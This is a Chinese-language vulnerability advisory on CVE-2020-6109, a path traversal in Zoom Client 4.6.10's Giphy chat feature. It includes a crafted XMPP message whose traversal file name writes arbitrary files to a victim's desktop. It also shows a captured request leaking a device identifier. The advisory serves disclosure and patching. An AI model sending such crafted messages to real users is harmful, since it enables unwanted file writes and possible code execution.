CVE-2020-6109 | ZOOM客戶端路徑遍歷漏洞通告

發布時間 2020-06-05

0x00 漏洞概述



CVE   ID

CVE-2020-6109

   

2020-06-04

   

DT

   

高危

遠程利用

影響范圍

Zoom Client 4.6.10


0x01 漏洞詳情




Zoom Client是美國Zoom公司的一款支持多種平臺的視頻會議客戶端應用程序。


CVE-2020-6109在Zoom Client版本4.6.10中存在可利用的路徑遍歷漏洞,該漏洞在處理包含動畫GIF的消息時。特制的聊天消息可能導致任意文件寫入,可能會進一步濫用該文件以實現任意代碼執行。攻擊者需要向目標用戶或組發送特制消息才能觸發此漏洞。


Zoom的聊天功能建立在XMPP標準的基礎上,并具有支持其他擴展功能。這些擴展之一支持在聊天中包含動畫GIF消息的功能。提供此功能并依賴Giphy服務。當客戶端收到帶有此giphy擴展名的XMPP消息時,將指示其訪問指定的HTTP URL并獲取GIF文件發送給用戶。此類XMPP消息的示例如下:


<message from='source@xmpp.zoom.us' to='destination@xmpp.zoom.us' id='random' type='chat'>

   <body>User Name sent you a GIF image. In order to view it, please upgrade to the latest version that supports GIFs: https://www.zoom.us/download</body>

   <thread>RANDOM</thread>

   <active xmlns='http://jabber.org/protocol/chatstates'/>

   <sns>

       <format>%1$@ sent you a picture</format>

       <args>

           <arg>User Name</arg>

       </args>

   </sns>

       <giphy id='filename' url='image_url' tags='congrats'>

           <pcInfo url='image_url_for_pc_display' size='10'/>

           <mobileInfo url='image_url_for_mobile_display' size='10'/>

           <bigPicInfo url='image_url_for_full_size_display' size='10'/>

       </giphy>

       <zmext expire_t='timestamp' prev='timestamp' t='timestamp'>

           <from n='User Name' e='email' res='ZoomChat_pc'/>

           <to/>

           <visible>true</visible>

           <msg_feature>0</msg_feature>

       </zmext>

</message>


上面的XML代碼中有兩個值需要關注。首先,該giphy標簽包含三個目標URL,這些URL應該指向Giphy的服務器。簡短的測試表明,沒有執行目標URL的驗證,并且客戶端將遵循指定的URL,包括任意服務器。指定自定義URL時,可以觀察到來自客戶端的HTTP連接:


GET /test.gif HTTP/1.1

Host: example.com

User-Agent: Mozilla/5.0 (ZOOM.Mac 10.14.6 x86)

Accept: */*

Cookie: srid=SaaSbeeTestMode00123578;

ZM-CAP: 2535978022733895607,164

ZM-PROP: Mac.Zoom

ZM-NSGN:2,zVM1hmoFnK2kx8t/KEifN7IAXRSE/CnqolsM0zV6ess=,1586812854000


應該指出的是,盡管以上請求中沒有驗證cookie,但仍有足夠的信息泄露唯一標識的客戶端。標頭ZM-NSGN包含經過哈希處理和編碼的唯一客戶端設備ID。


測試發現即使giphy擴展名僅顯示GIF圖像,它也將輕松顯示和預覽其他圖像類型。這包括PNG和JPEG文件格式。


此消息XML代碼中的第二件有趣的事是,標記的id屬性giphy直接與客戶端緩存在磁盤上的圖像文件名相關聯。換句話說,客戶端應用程序將使用此指定的ID將文件保存到磁盤以供將來顯示??梢蕴峁┤我馕募?,并且文件將存儲在dataZoom安裝目錄下目錄中的可預測位置。


真正的漏洞在于這樣的情況,即文件名沒有以任何方式刪除,并允許目錄遍歷。這意味著標記的特制id屬性giphy可以包含一個特殊文件路徑,該路徑將在Zoom的安裝目錄之外并且實際上在當前用戶可寫的任何目錄中寫入文件。以下修改的message說明了這種可能性:


<message from='source@xmpp.zoom.us' to='destination@xmpp.zoom.us' id='random' type='chat'>

   <body>User Name sent you a GIF image. In order to view it, please upgrade to the latest version that supports GIFs: https://www.zoom.us/download</body>

   <thread>RANDOM</thread>

   <active xmlns='http://jabber.org/protocol/chatstates'/>

   <sns>

       <format>%1$@ sent you a picture</format>

       <args>

           <arg>User Name</arg>

       </args>

   </sns>

   <giphy id='../../../../../../Desktop/mallicious_file.exe' url='image_url' tags='congrats'>

           <pcInfo url='image_url_for_pc_display' size='10'/>

           <mobileInfo url='image_url_for_mobile_display' size='10'/>

           <bigPicInfo url='image_url_for_full_size_display' size='10'/>

       </giphy>

       <zmext expire_t='timestamp' prev='timestamp' t='timestamp'>

           <from n='User Name' e='email' res='ZoomChat_pc'/>

           <to/>

           <visible>true</visible>

           <msg_feature>0</msg_feature>

       </zmext>

</message>


Zoom客戶端會將字符串附加_BigPic.gif到指定的文件名這一事實可以部分緩解此漏洞。這樣可以防止攻擊者創建具有任意擴展名的可完全控制的文件。如果攻擊者選擇了.gif擴展名,以上內容仍將使用文件名將任意內容的文件放置到當前用戶的桌面上。文件的內容不僅限于圖像,還可能包含可執行代碼或腳本,這些代碼或腳本可能被濫用以幫助利用另一個漏洞。

此外可能會在Windows系統上創建空文件的任意擴展名。


0x02 處置建議


目前廠商已發布4.6.12版本以修復漏洞,下載地址:

https://zoom.us/


0x03 相關新聞


https://securityaffairs.co/wordpress/104249/hacking/zoom-security-flaws.html


0x04 參考鏈接


https://talosintelligence.com/vulnerability_reports/TALOS-2020-1055


0x05 時間線


2020-04-16 研究人員披露

2020-06-04 VSRC發布漏洞通告